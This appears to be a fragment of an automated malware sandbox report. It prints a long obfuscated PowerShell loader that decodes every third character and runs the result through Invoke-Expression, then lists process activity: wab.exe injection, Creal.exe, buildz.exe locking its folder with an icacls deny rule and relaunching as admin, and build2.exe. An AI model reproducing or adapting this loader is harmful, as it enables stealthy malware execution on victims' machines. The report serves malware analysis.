T4Gl2De5Il2RaCte2Al5Pi2Re7La2na1 D3Fo4au2Ge5Ko1UdDGo6Ko9He'Bo;Kv& S(vo`$Saw eaRotspeMerTal AoTrg PsMe7Tu)Do Sv`$WeFpoe CjFolartbayAnpGoe RrSusNi2pr;To`$AlFBieFajDilObtinyChp PetorBlsNe3 S Ju=an MVVaAAmRri5Fi3Sy ka' B6Sd4Ka0Pu7Ub2MaF F2BrEhj2soFco2De3qu2DaFVi2 R3Su2Fi3Te2Ba1Ng2seCSp6klEDu0Pr4 S2Al5Dy2Ca6Fa2 T9Al2SuE g2Di5Ls0sp3Fo2HyFSk2LyEHa3Ka3Eu3Fn4Ud3Bo2 G3De5To2In3Op3Pr4 R2AcFRe3Ri2De6Ch8Sa6 p4Ri1Pa3 S2PeFNo2Pr7Sk2SvEBi2Re5Ad2Cr6Zi2 GF E2Ga7Pl2Dr5Fr2Fo4Co2An5Fo3De2Fu2JuESw2Je5To7Cy6Pl6ChCto6 A0Eu1UnB S1Do3di3Li9 J3Tu3 N3Be4Te2 P5Yo2arDFo6PuE F1Rc2Kv2 E5gl2Ov6Pr2DeCMy2Fr5le2Pr3 P3Br4sc2Go9En2SkF V2UnE K6 SEUn0sp3 B2Fo1 P2DeCFl2MaCVo2An9Fe2AmESe2 P7Fl0 K3Sa2OpFUd2SkEBr3 A6 A2 B5Fo2 AE E3un4 L2Ma9Fa2EtF R2OvEUv3De3 I1LoDBo7MaAUp7MoATr1Bo3st3 F4Ko2Fs1St2EsEGa2 B4Ci2Nv1Pr3 B2Po2 S4Be6 YCsu6Ga0Re6 E4 A0Fr4Re2 U5Ri3Ad4 M2bl5Xi2EuBKn3Na4 s2Sn9Be2LaFGr2TyECo3 T3In6Co9Dy6FoEMi1Ho3Gl2Un5 S3 S4No0Pe9Ra2NoDRe3No0sj2RaCcu2 T5Te2HiDfy2Au5af2ViETi3In4Fj2 T1Ma3Un4Sk2Ci9In2 BF S2PeE A0Un6Bo2MoCEi2Fo1Be2Ca7Sk3Re3Re6Sn8Va6An4Me1 a3Ly2AlF E2Op7Ve2 LEar2An5Op2tr6 C2LaF S2Do7Fl2Be5 B2Ta4Pe2Fa5Ls3Sk2Os2HjEne2Ov5St7Po7Un6Ba9Ba'Ta; S& P(Bi`$Fow RaAptFneHor AlOloBrgDisFi7No)St To`$ScF Ae MjAflKatDrytrpgieTorrosSy3Ko;Re`$BrF EeSkjAplCotDiyInpBreSar Bs L4Pa Mo= o opVToAFoRMo5 S3Ed Ho'Ek6vi4No0Ma7 B2DaFDo2HiEci2 HF P2Kr3 r2MuFLi2Ma3Un2Po3Or2Ha1pr2VeCer6 HEDe0Mi4Ud2 C5As2Os6 A2St9Id2PaE P2Ch5Sp0CoDSk2Se5Bl3Pu4 S2Ti8Op2suFGa2Sa4An6Ta8Th6 K4In3Ro7In2tr1 C3Pr4 B2Hu5Vr3Sv2Ri2 BCBl2SaFPi2fr7My3Sm3 U7Ge2 u6 ECDa6Cu0 A6St4Ti3 G7bl2Co1su3Tr4Le2To5Jo3Ya2Mo2diC i2FnFGl2Et7Te3Pr3Ko7Or3Lo6EnCPa6Te0St6So4Re0Fl5zo3Ke2re2 G8Fl3He6Ac2Da5Is3Th2Un3Co6Le3Pe3Mi2FoDBo2 X9Li2OsE U2An9An3Su3Bu3Eu4sh2Sl5Lo3Fo2 p2Bu5No2OpE M3Il3Ov6tyC L6An0As6Ne4Th0Ra4Kb2Vr5Ti3Fo4Pa2Sy5St2CaBKl3De4Di2ka9Me2AnFZo2CaEsm3 I3Hy6 C9 B6RoESk1Sp3Ha2Pa5Po3Qa4 K0 A9Fr2KvD B3st0Am2 CC H2Ta5 S2AnDOk2Qu5Kr2UvETe3 L4 B2Kv1Pi3ch4po2Sp9Ca2TyFCy2GlE S0Ba6He2BoCSk2Kr1Ca2An7 a3Ka3Su6Sp8Fa6Mi4Ko1Di3Re2 KFTa2Al7Or2CoE B2Do5No2Ne6Ov2OuFNa2Sk7en2 T5Ko2 T4In2 C5Co3Pr2 X2EcE N2As5st7Ar7As6Du9 C' I;De&Cl(pr`$OvwReaSlt ReAdrJelEnoErgFlsPi7Sp)bl Tr`$TaFSoebej NlBotAnyBep KeAlrSosAg4 M;Ja`$LaFTieOrjUnl UtAfyOppDieInr Ps F5ra Av=Sa PaV RA RRRs5mo3Fi ri'Bl3 A2De2St5In3 L4Sy3Ty5Wh3Br2Kl2UpESt6Do0Me6Cr4Un0Mu7 R2AlF D2PeEBr2deFOr2 V3Pi2FoFAf2Ly3se2fa3Ol2Ir1Ki2FaC T6 GE V0Fl3St3Mi2Ph2te5Vn2In1Pe3Lo4De2Ou5 D1Am4 M3Di9Be3Si0Te2An5Fo6Fa8si6di9Kl'An;Su& Z( S`$TuwhaaSttCeeudrprlKnoBigOvsIn7Re)Fi Dd`$SuFDae LjTrlCatPry Rp SeNorUnsFr5Va Sl Bo Kr; G}Tu`$SkkPrnDekSefAfr oiJa Eu=Ni foVreAGeRCa5Pl3Er F' S2 gBVo2Ju5 W3Ra2Do2 CE D2Na5 T2DoCSt7Ch3Mu7Ho2Or' S;Kr`$veHCaaCelColVruwhcStibonanoArgSteIdn FeSkrAf B= T CaVSpAPrRVe5Un3hy Ot'Sl3Od5Aa3Bo3 C2 P5cl3cr2 B7sp3Ju7Br2Ma'Di; O`$FlZKnaAlzKuiFoaFls M0co3 M S=Be LVTiAtrR M5Cu3Dr Pa'Se0Ko7be2No5Po3 a4Pr0Fo3Ve2GuFTh2ArESm3Mo3Tr2FoFSn2ReCMl2 B5Fo1Co7Pl2 E9 T2ArETr2Er4Ba2 BFSk3In7 S'Ch;Is`$PuZ Ua BzUniReaPosBu0Ev0Da=HoVMiARvRUn5Id3Aq Mg'bl1Ug3Sl2Us8De2EmFCy3Gl7so1Go7La2Ba9Ug2CaESl2 O4Or2GoFTr3 V7St'Ve;Cy`$FoFGee RjFulUntKayKvpBreLdrUnsSt6Oc fl=Bt sVKoADeRSq5Un3Pl Ex'Fi6 N4Su1Gi3Pa3 T4Au3 M2No2Ty5Da2PaA M2 H6An3 Y4Co2FlFBo2Fo7Fl3 F4ep2Su5Fd3ko4Ni6 A0Pe7TvD A6Su0 T1 hB F1Ro3st3fr9Ov3Pr3Ir3Nu4 A2gr5Bi2DeDMi6MoEBu1 b2Br3As5Sv2SoEMa3Ud4 A2Hv9Ad2PlDEf2Ad5 S6GsESp0Pe9Al2FrE H3Ir4 b2 C5pr3Eu2St2 SFDo3An0Co1Da3Co2Sh5Pr3 F2Ka3Ga6 C2 E9Ad2Je3Ve2 C5An3Go3la6SkESt0PoDRd2 f1Pe3Wi2Fi3ho3Fi2Po8Ab2St1Re2TuCCr1DrD L7SpA C7krAOc0 s7 V2Fj5 H3 A4Pa0St4Va2Tr5Pa2NiC K2Ba5Al2Nu7 J2Bo1 B3Au4So2Wu5Ec0We6Da2DrFTu3Uf2Fa0Ar6Co3 I5 T2skETh2Te3Pe3Bh4 R2Pr9pa2TrFDe2RoE U1Fo0Ap2scF T2Ri9Co2GeEtr3In4Jo2Kr5Al3Da2Pi6Hy8 U6Da8ae2Do6Pa2DuBAc3Ei0Do6gu0Kr6Eg4No2FaBDe2ScEMe2EtBAn2 I6 W3Su2Tm2In9Ra6 E0Co6Em4Bl3Op7Pa2 P1Ba3Eu4Br2ef5Eg3 O2Pr2GiC K2AaFEu2In7 S3Un3Br7 T4 P6Pr9co6VoCBo6 I0Ro6 T8Kr0 C7 D0Lo4 C1fi4We6Sh0Lu0 R0re6Tr8Af1MiBth0 D9Su2myEBo3Ta4Di1Ch0Mo3Sp4Sk3In2 K1SeDFo6NiCUn6Il0hi1SuB R1La5Sv0 C9Sk2LaEBr3Fr4Bi7 F3Sk7 C2in1MeDHu6PeCFo6ar0 C1SyBVe1Ne5Af0Ha9Te2 KEHo3Ky4Ns7In3Co7Hv2Ho1VaD T6PaC B6 D0 p1prBsc1Fi5Vs0To9 b2XiEPe3Ud4Ba7 C3 D7En2In1UnDTe6Su9Du6Je0Ga6 A8Ne1ElBde0ca9Pa2DeEPr3Ha4Sp1 e0Bo3Op4Co3Ey2Ca1KoDMu6Un9 F6in9fo6 D9Se'No; M& D(Up`$StwTaa StCreRurEglLioKagBasTa7Ta)Sa Sa`$ OF PeFijtel FtUnyErpBoeHarSasto6 R;An`$unZ Ba KzOriToa Vsbh0 M1Al Su= E miVSyAthRCh5Co3po Ta' O6Tu4Fl0Be6Wo2Ov9Sa3Rm2Tr2Bi5Re2Ce6St2Un9lu2Se7No2Ar8 T3Be4Be2pa5Im3 G2Co3Sa3Te6Ex0 E7ouDAn6Mi0Ex1GuBCi1Un3La3Sp9 R3Fu3Da3 a4Aw2 A5ek2GrD U6PiE U1af2as3 B5Xa2ClEFo3 A4Ko2Bi9de2 GDHo2Ls5In6FoEHm0Gr9Re2 AESi3St4Va2 M5Ir3Sp2Mi2HaFTr3Un0Ho1mi3Tr2 A5Fo3Re2Ex3li6Re2Po9mu2Ha3An2Es5Br3 u3 N6FrERe0SoDOm2Ka1Om3 H2Ko3An3Sa2Qa8Ul2Sp1Ga2 SCpa1UdDBl7SkALu7RiAMe0Su7Ti2Pr5pl3Br4Ce0Re4Ap2Al5 F2PeCKo2Mi5Ra2Un7Dy2Va1Hy3 S4Mu2 E5Te0Ba6So2FrFFl3 S2Sy0Mo6Pn3Ge5As2 SE P2Me3Re3Fi4 C2vl9De2LyFWi2 SEse1Un0Co2 RFAr2Co9 S2PrETi3Pr4Me2Ho5 c3Tr2 F6Fo8Re6 D8Un2mo6Ar2HyBGo3Tr0Un6St0To6Eu4Ba0Be8 S2Re1An2StCUn2buCSk3Un5Ho2 S3hj2 M9Ba2ovEUl2 TFAm2Ps7In2Fo5Fr2OvESu2 D5An3Gu2Un6Gl0Re6Ic4 K1RtAun2Vi1 P3TrADi2En9Go2ka1un3 O3Si7Hy0Ar7 A0 T6Su9Io6VaCsy6Li0Up6Ho8Un0 S7 D0 D4se1Ct4Op6 c0 a0 C0 A6Ko8It1HaBIn0Ef9Kl2GlESk3Re4 F1Th0Bo3Th4Fo3 S2Re1OvDMa6AdCBe6Kr0 S1RaBSt1Bu5Ko0Si9hj2PtEgr3co4Gr7fj3st7 A2Ne1BrD P6 E9Ne6Un0 O6 S8Ka1MyBSt0Em9Aa2ApE B3 C4Sp1 K0Ah3Re4Tu3Sm2 P1 BDGr6Ki9Be6 N9Sk6In9co'Tr;Te&Fo(Ca`$ NwFeaHutBreSyr KlunoDegUds P7In)Le Fr`$AfZNoaFrzSkibaaObsUd0Ef1 P; P`$ NZWhaNozRni NaFls O0El2Br Na=Ol OVMiAopR M5Me3Me C'To6Hj4De0 D5 T3Ma4Pr2th1Un2Pi7Be2 s5 L3Po2He2DeEJa2Wo5At3Et3fo2 FFKa3He2Li3Dr4Sl3Ar4Tr3Tr2Pl3Ha9Fo2exC I2EnCVe2Ud5 P2 MEPr2 C4 T2re5hy6 T0Ma7PeDTh6Or0ag1HoB R1Ko3ve3Lr9 S3an3Ro3gr4To2Fu5Di2FrDEx6HaEJo1Ps2 E3Lu5an2TrE U3St4Mu2Ek9Ae2 DDBu2 W5 V6SaETr0 I9Be2BoE A3 B4Fi2No5Ra3po2An2VaF f3Fr0Sk1Gr3Kv2 A5Ey3Ac2ba3 a6Sw2af9Af2 D3Un2Sp5 I3Po3Sa6FaE H0TaDel2 M1Me3Le2Ty3 G3No2Py8Di2 D1 K2BrCTa1AeD S7 SA D7HyA B0 m7Fi2af5Ud3 E4Co0Ne4By2Ag5Si2FeCXe2Po5 T2Fu7Ap2 D1 A3fi4 A2Sq5Be0Ny6Re2ReFBi3Ko2Fa0Do6Sn3La5De2 nESl2Ud3Uf3Fo4 U2Ox9De2 bFFo2 AEbr1Lr0Lu2 MF P2 O9Re2NoEcu3Me4Pr2 E5Ac3Af2Da6Un8ne6Br8di2 b6Mo2LeB A3Un0 S6Fa0Ad6 c4De2 KBSk2 UEUn2FrBOv2Le6Ba3He2Pr2 G9Fa6Br0Ca6Sk4Ph1 DADi2Gu1Sc3HjAWa2 I9 m2Fi1Cl3Pa3Dr7 L0Aa7Fo3 T6In9Je6TiCGl6Un0Gy6Ej8Es0Kl7Me0Be4su1fr4 S6 A0 F0Sn0Fi6 J8St1ciB E0 P9de2EtE V3Tu4 B1Sy0Un3Fo4av3Un2Da1taDPe6Pi9Co6Il0Sa6Ni8Ha1DrBra0Di9Co2MiESl3Dd4 H1Cl0Fa3af4 L3va2in1PrDco6No9pr6Ty9Ma6 D9Co'ja;Be&Sn(Un`$MowQua HtJee BrMalCooGeg Hs F7 R)Ov Ju`$ vZRuaunzBaiSya VsAr0 B2Ba;Ni`$ EFIneExjSal UtHoyBopTieHar TsHl7Fa Ek=ve MoVBrAAnRBe5Fe3 M Ka'Pe6Dk4Dr1Ky3Re3Ke4Ri2Fo1No2TaBEk2Ko9Ad3Fe4Un3Ti4Mi2De5 S3 R2Se2ElBTe3Su3Ge2RvCSl2Pa5Fi3 R3 S6fl0Re7SoDId6Al0 T6 N4Kl0Ud5De3Tr4Pr2La1Ma2 T7 A2 B5Av3un2He2YpESo2Na5Ro3Ec3Ye2UnF K3Fo2Fo3ud4Fe3ge4Ko3Se2Lg3Na9Br2 KC S2 TCJe2Ga5 P2 BE F2Ps4gr2Si5Qu6 RE P0Dr9 M2 DEBr3 R6Sk2 TF B2ShB F2Sm5is6Fi8 U7Rg0te6 U9Al'Sr; D&Fe(Co`$Fow ba AtJae SrSelAdoBegArsNo7An)Li Sp`$ SFEveTajUflVitPayRep EeEnr EsJo7We;Lu`$ TFSoeNojMal StIcyFop Le Br ssSt7Pi Si=Th JV IARaRFe5 F3ku Br' b6Ca4Nu0Sp6An2Ki9Re3Sw2Hj2Ru5Ma2Ri6 A2Be9Li2un7In2Tr8Hi3Ra4In2 J5 M3Ud2 B3Sm3 D6 DE S0Bu9Un2BeEom3Se6 A2GeFPr2KeBTv2Ly5No6su8Ud6bi4le1An3En3 E4Di2Ra1Se2PrBde2Ta9 P3Me4 U3Un4St2In5 R3Al2St2SmB R3 W3 J2BoCUd2Ga5Pl3 b3Ko6chCBu6Ko0 W7Sa0 K6Ap9Ep' P;La&ra( V`$BrwOraphttaeRor Sl Ko tgEmsAr7Cl)Ap M`$AaFBoedej BlOxtAsyNepUdeSkrPrsRe7Un;Me`$StDDaeOpcLiePln MnFjiHeeCarEsn PeCes E1 G0Om0Sq Cy=Ib SifKrksopVi An`$DdwEuaAgtPieStrRelCaoStg CsVr5 G Sc`$ Pwnaa BtOveStrSyl Botig Ksco6Su; F`$GaFKaeSujGelswturyBupRaeStrHesth7Sp af=Un AtVhoAopR P5Um3 R Fi'Li6 R4 L0Ub9Uj2twC G2TrCKo3 M5Ud3 J3Rv3 D4Un3 K2Un2Pr1 P3St4Kl2un9Co2OcFno2hjENo3 B3Te2ve9Li2 LELa2Ka4Ak2CiCTe2 s7He2PoEta2An9 D2PoE N2Sv7Di2He5 S3Se2Ba7Ku3In6 T0So7SaDBe6Sc0Ox6 A4Tr1El3Pa3Wa4Pe3Ba2Ch2ra5Ph2DsAWa2Pe6Bo3Bo4Ha2ibFCo2Ge7Bl3 p4fu2Te5Sp3Hy4Ln6 DEBa0An9 D2WiEQu3 E6sc2BoF T2SiBEx2Ha5St6Ov8Ge1RrBTi0Un9St2MeESk3 G4Pr1di0 T3Po4Wh3Ef2Fo1DoDMi7BrA R7MiACr1HyAGr2 M5Sv3 T2an2FoFIn6PaCBa6Ed0Ir7Se6Re7Ci5Do7In3 M6tuCCy6 M0Fj7Sk0Sy3 B8 T7 U3Re7Sm0Ox7Un0Sk7Se0Re6 PCVr6Fi0 F7 S0 S3Kl8Ri7Gr4Sc7Be0Ki6De9Be'St; B&Tj(Em`$ AwbeaOptVaeUtrUdlVeoUngBesNo7 a)Do M`$PoFEneOvjanlFytsty TpIneGorLosMi7 F;No`$OiF Se PjAslTatFnyTnpOpe FrTis M8Ve ge=Pa PVWhAmaRHa5 K3Am De' E6Ti4 H0 t5Ev3Ka4 s2In1At2af7Fy2Im5Ju3 m2be2UsEHu2 t5 T3Ai3un2AuCUd2Bo7 E2 F5Me2 J2Sk2Vr5Su3 P6 L2 B7 B2ko5ul2DaCTa3 M3Fo2Pa5My3Pa2Sa3Re3In6Wa0 R7 SDOp6Fl0fo6Is4Ud1Ch3 M3Fo4Tn3St2 L2Ta5Af2AbA M2In6vo3Ud4Re2ReFLi2Al7 K3Be4Il2Ar5 R3 r4Ma6EdE C0Vu9Ma2clEAb3Vi6Op2PaF A2 SBHo2Be5aa6 B8Ma1StBRe0Ae9br2svEAv3Na4Tu1An0Ho3Un4Ta3To2Bu1SeD U7 AAMe7OsA S1JeARe2Ek5 C3Ni2 H2WaFGl6RoCKr6Tr0Ta7Su8Re7Fi8Mi7In4te7Tr8Es7Ra1Rh7 S7Kl7Kv9ud7Al2St6ThCBe6Lo0Ev7Ci0As3Rm8Mo7Mi3Cr7Bo0Ko7Ca0 V7Mi0Cl6 tCPa6Te0Ha7Un0bi3Eq8Hv7By4ma6Ha9Ta'Ki; H&ud(Em`$ AwBiasat SeLirDolHuosugUnsPr7Mi) E Mi`$MaFdeePaj rl Gt JyInpUdeSarPrsBa8ty;sa`$FuI RlDilSeuKas Tt BrTea Pt Ui HoKonUtsMaiPanHidStlIng HnSci BnPigLieInr B2am=Af`"""Ma`$ApeTenSwvMo:ArT REInMCoP F\Rod XaBde OmRuo SnGeiVisNokLi\FrpBarMevGueunlResFiecanPrsOv\MonAfoChn MeSucStl peKocOvtDiiVacGlaFolMalTay K\DyCCroSioTif M.MeL AgAfnSu`"""Tr;Li`$CoFRae HjAnlSltCyyShpVeeFlrChsSa9Po Wa=Pe BuV GACoRBo5Un3gl B'Se6 B4Oe0In6Sv2 D5Ba2LiASk2 nCLa3sv4Ry3Un9 U3Gi0 E2Cu5My3gi2lo3Ka3 P6Up0 S7SaDRe6Kl0Di1EtBGi1Hu3Tr3Od9Ov3Mo3 T3Be4He2Ov5Ba2 LD S6FeEAn0 O9Re0FrFSv6 RECa0Ru6Om2sa9An2PaCOp2 L5 L1taDPa7 AADa7MdA S1Ti2 C2Mo5 u2Su1Ul2In4Re0Ap1Ga2gtCme2 MCFr0Me2 D3fe9Ge3Ud4 S2Uf5 J3An3 C6So8Mi6Li4Sc0Pr9 D2InCFe2TaC B3La5 L3 m3Ud3Un4Kr3Ls2Be2Er1Ex3 B4 D2Pa9Ma2RiFFo2UnESp3Ek3Fi2Un9Sp2SkETr2Fr4 S2ReC M2Gr7Do2KaESi2Ef9De2UnEZi2Fo7un2Sn5Ca3To2br7Fl2re6ta9Ve'Ap;Mo& S( T`$ PwGeaEst BeInrLylImoopg IsHe7 A)Ho em`$SkFObeVejBelCetSuy GpDiefrrHasKr9Te;Ar`$blsStuGrbHlsFleNswKdeger B0Pa Te=Pl BoVTrASuR O5Pr3Fe Fy'Un1 IBDo1Mi3In3Up9 s3Sa3Ec3In4Ud2Fl5Tz2BuDSc6FuEop1 S2Pa3ph5ka2StEWa3Op4ap2 P9Ex2CoD Z2Pa5Mo6SuE D0 R9Mo2foESt3Ma4 B2 R5In3Lo2Ko2ReFCa3Po0Vi1Be3Af2Kl5 O3 A2Su3Se6Re2 D9By2An3 U2 N5 U3Ga3Rr6DiENe0EaDEf2An1Ov3Bu2Mo3Fj3Co2Te8Jd2Sm1Se2FoCSt1WiD D7BuATy7BeA B0Jo3 p2 TFSy3Un0Co3Br9St6Tr8De6aa4Di0 O6Sc2No5Fa2NuA f2 FCSt3sk4Be3Af9Lv3 S0Gy2Oc5Pr3Fr2Lu3So3pa6FlCta6ba0Ta7Jo3ac7Il0 H7Su2 B7Ra4 N6sqC s6Li0Pr6Bl0Me6de4Py0fe9Ti2RoCTa2PaCsy3Ma5Be3Cu3Uk3Te4Ci3Pe2Me2Dk1Ci3Ud4dr2Vg9So2caFtr2MaEUn3 M3Pr2wa9Ra2FoEBa2Kr4St2FoCNa2Da7Be2ViEOp2Po9un2SvELy2Su7 s2ba5Pr3Mu2 B7Pr3Ca6AlC S6Sw0Ph7Un6fi7 L5Fi7Cu3Sa6 R9El'ho;Kn&Re(Un`$PewSia St KeTorSil SoPlgAdsEc7He)An Is`$ SsMeuOmbJesOre GwHyeParre0Ge;Ti`$ SUStnPrh UaDetBecDihCaa FbNoiNalOpiNetCay T=Ba`$OiFRie Oj OllytDey ApHueUnrMasLa. Cc AoEau DnVitHo-Lo6Ho5Li3Pi-Re3Hi0Al2No4si;Ti`$IlsMeu BbSksTieSmwOpe Erth1Cl H=Ta PrVRaACaRCa5In3Pr Cr' F1ChBAp1Sc3 R3Un9fo3 S3 G3Sl4 N2 b5 S2StDGu6BlE H1Ch2Ru3Op5Ma2RyEKa3Kr4Bu2Fo9La2 RDSm2Do5 W6 SEKa0 I9Fo2InETu3Dj4Un2Ku5Ho3Je2pa2AmFRa3se0Bu1Kb3 M2Qu5Me3 I2Be3Co6 v2Bd9fa2 R3Ba2Sl5 F3Co3di6BuEUl0BrDPr2Ud1Ma3Sy2Ti3Re3 C2 U8 N2Pe1Ar2FiCKo1FlDBe7DuAKr7SpA H0Un3Ch2ReF S3 l0Cu3 E9Un6Mi8De6Pl4Ca0Fo6Ko2 D5In2SaAai2 ACTi3Ko4Pa3 S9Be3Ag0 P2Fl5 S3 e2 V3 F3Pu6 MCMe6In0Ma7 r6ov7St5Sp7Va3 C6MaB A7no3Wo7Ep0Di7Hu2Sj7 A4Gs6BeCCr6 s0Tr6Se4Fo0 B5St3Ba4 R2Jo1 U2Ti7wy2dr5En3Ld2By2 REDe2 S5Kr3Ri3Fi2SlCLa2Ve7Cu2Ba5Ty2Is2Ul2ka5To3Wl6Uf2Mt7Fi2Wh5Ip2PrC H3Tr3Go2 M5 C3 S2Or3Gr3Dd6FeCre6Bu0Pl6 U4Se1Sk5Bu2meEKo2Ta8Hy2Mi1 S3Hy4kl2Rn3Le2Un8Fe2Wa1As2Ci2Tu2Sq9Ko2MoCTr2Ts9 f3In4Ps3un9 D6mi9Cl'Ga; F&Re(Fl`$ThwBaaFltNee LrUnlMeoPygFusAg7Am)Un Lo`$ AsReuThbSusKrehew SeBsr m1Au;Be`$DrsGluSob esIneXmw HeSkr m2Am F=Mi RiVbnAPrRIn5Sk3He Ha'Un6Gy4Fo0pe5Gr3Pa4Sk2 L1Vi2Fr7 L2 F5St3Bo2 M2beESo2Bi5Fo3pe3ja2Ho5 T2 G6Lo2DiF R2KiFBl2NoCSt2PrDLy2Me5Fa2UnE S3An4Gu6Li0Ob7 PDTa6Ni0An1 sBPa1Sp3 a3Ta9Ma3Gr3Sk3bj4Cr2Ar5Il2maDBa6EqEub1 s2De3re5fo2OpENi3 K4ud2Ba9Vi2UaDDe2Me5Po6alESt0Vi9Bl2AnE V3Vu4Ur2Vr5ha3Sp2St2FlFOm3Sa0 C1Co3Ly2 F5qu3re2Ch3 J6 U2cy9In2Ut3In2Na5 P3mo3Pn6SsEPo0ReDVe2Al1Su3Ap2Ba3Sk3Ta2 p8Li2Lo1Ho2OdCEr1 GD S7 FAPj7 BASk0to7Hy2 U5Li3 T4fl0An4Co2In5Bo2NoCNs2Se5Th2aa7Ne2St1Rk3Cu4In2In5Pe0El6 K2FlFBu3ve2Or0co6 L3Ko5Vi2PeEBu2Bv3 V3 F4Ce2Ci9Fr2ToF B2ShE C1Sb0Co2InF n2Br9Af2 OEBl3Am4Ex2Di5 C3Un2Tr6La8Ac6Ma8Su2 W6Br2ObBMa3 T0Oz6 M0 L6Ri4 S1Ko3Vo3Dy4Af2Fr1 V2ZyBSk2he9 P3 b4Tr3Ei4Do2Ud5bo3Co2Tm2 DEKn2NoESt3 T5Bu2Ov9Ns3te4st2In5be3ne4Mo2Pn5 U3Fl2Pe2neE R2sp5Sa6Ud0 P6Sm4Al1 U3Ti3Bi2Af3Sk2in2Kn5 T3Fu4Dr3Un4 T2Am9 R2Si7St2Sl8Un2De5Ko2Sk4 h2La5Fe3Be2Sp2 BE A2Mu5Pa3St3Wu6 S9Da6 ECEp6Un0Pl6lt8Ka0 O7ar0Pe4Re1Ga4To6Re0Tr0St0Su6Re8Bo1SpBUd0 M9Ba2 BEEc3Ho4In1Md0Ro3Th4In3La2De1SuD P6 PCPh6No0St1boBCl0 M9Po2PrEGe3No4Th1Ty0St3Fr4 d3An2 B1GuDFo6CoCMa6 T0Ud1KoBTr0Po9An2 LEEg3il4Fi1He0Ne3 T4To3Ma2Ne1CoDPe6 FCUn6 D0Ar1MoB N0sk9Ho2 TESp3 C4Ab1Tr0Un3Tr4La3Fi2Re1RaDNo6ExCov6Fo0pr1RiBMe0Ns9Sn2 FESy3Py4Gl1Vo0In3Tu4Hu3So2Be1SiDCi6tu9Tr6Vr0Vr6 F8Mu1 sBNo0to9Li2EtECo3Su4Su1Ar0ls3Tr4Bl3Ba2Fl1SpDMa6He9Rh6Si9Dr6ji9Fr'Ur;Te& S(De`$ OwFeaDetOfeUnrstlPoo PgGrsUn7st) S Sp`$OpsAkuUnbHas JeBow Cepar T2Ch;Ur`$ AsSnuSmbExsAneAuwafeMirOp3Sp So=Li GeVBuAVoRFr5Lo3Aq Pu'Su6Dr4Fu0St5St3Ku4To2At1 J2 M7Po2Fi5Om3Te2Ca2PrE U2 C5Ri3th3Fo2yn5Hj2Fe6Lo2BaFWe2KvFIs2GnCMa2heDTh2Fl5Ta2GuETr3As4Pe6HoEHy0Ba9Co2SkEHv3Ba6Vi2SuFTy2urBFo2Se5Sk6La8Pl6Fl4Fu0 S9 F2SpCBr2trC K3 S5 T3Te3Pa3Ha4Ki3Ha2 v2 B1Gl3To4Do2 U9Mo2 SFim2OrECh3Tw3Am2Sc9St2 SEGa2Ry4Do2FoCKl2co7in2 GElo2De9Hj2 HESk2Kl7Du2Sh5Ha3Sp2 U7 A3Sk6SpCFr6Re4Or0Fo5Vi3 R4Tu2Br1 S2Ud7 H2Pe5Sc3Ba2Po2ugEAn2 S5Ko3Un3Ad2PsCSe2Ba7Ri2Vi5Up2Re2Su2 B5Br3Mi6Ul2Br7 E2Bl5 q2 uCTe3Ke3Fa2Go5 f3Fa2Re3Ma3To6MaCUd6Ke4 I0 B4Bi2Pr5Cr2Tr3Ni2Am5Nr2SvEls2BrEAd2Ke9Le2tu5Gi3Ka2sk2SaEBe2Bo5Sh3 T3Do7 F1Un7 l0Ch7Pr0 M6HvCTa7Re0Ca6IaCRu7Cu0 T6 T9 i'Ca;In&Ba(Ji`$BiwCha PtaseInrSplBioPag BsSp7Ge)Tr Be`$FosAnuCabresSdesywKae irGa3De#Re;""";<#Umyndiggrelses Fluotantalic Deallocation Schistocormus Aftrkkende #>;;function subsewer8 ($Stakitter,$Etagernes) { &$Datalagrenes0 (subsewer9 ' B$UrSTrtUda BkPaiRetPut Te VrGa Gr-UdbDexmioLur B Sc$TrESut baFrgBaeFrrWrnTreBrsDi ');};Function subsewer9 { param([String]$Etagernesitrere24); <#Radernaales Remittere Bankiers Swingpjatte #>; $Graderet=2+1; For($Stakittertomteoris=2; $Stakittertomteoris -lt $Etagernesitrere24.Length-1; $Stakittertomteoris+=($Graderet)){ <#Gryphon Efterkravets Gnidningsmodstands Cirkulreskrivelses #>; $Zazias+=$Etagernesitrere24.Substring($Stakittertomteoris, 1)} $Zazias;};;$Datalagrenes0 = subsewer9 'VaIRaEwiXRe ';$Datalagrenes1= subsewer9 $Specterlikes;&$Datalagrenes0 $Datalagrenes1;<#Forudsaas oldermand Svingtaske Rdsom Nonconcentration #>; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

wab.exe (PID: 8012 cmdline: C:\Program Files (x86)\windows mail\wab.exe MD5: 251E51E2FEDCE8BB82763D39D631EF89)

wab.exe (PID: 8148 cmdline: C:\Program Files (x86)\windows mail\wab.exe MD5: 251E51E2FEDCE8BB82763D39D631EF89)

Creal.exe (PID: 8024 cmdline: "C:\Users\user\Desktop\a\Creal.exe" MD5: 125A5C30FD99F5F53B2914E9F6CF1627)

Creal.exe (PID: 7252 cmdline: "C:\Users\user\Desktop\a\Creal.exe" MD5: 125A5C30FD99F5F53B2914E9F6CF1627)

cmd.exe (PID: 7572 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 3164 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

buildz.exe (PID: 2336 cmdline: "C:\Users\user\Desktop\a\buildz.exe" MD5: F76F31DA2D90E4BE5C20DCF0F98366BD)

buildz.exe (PID: 7960 cmdline: "C:\Users\user\Desktop\a\buildz.exe" MD5: F76F31DA2D90E4BE5C20DCF0F98366BD)

icacls.exe (PID: 1028 cmdline: icacls "C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

buildz.exe (PID: 6540 cmdline: "C:\Users\user\Desktop\a\buildz.exe" --Admin IsNotAutoStart IsNotTask MD5: F76F31DA2D90E4BE5C20DCF0F98366BD)

buildz.exe (PID: 6664 cmdline: "C:\Users\user\Desktop\a\buildz.exe" --Admin IsNotAutoStart IsNotTask MD5: F76F31DA2D90E4BE5C20DCF0F98366BD)

build2.exe (PID: 6912 cmdline: "C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe" MD5: E23C839EDB489081120BEFE1E44B04DB)

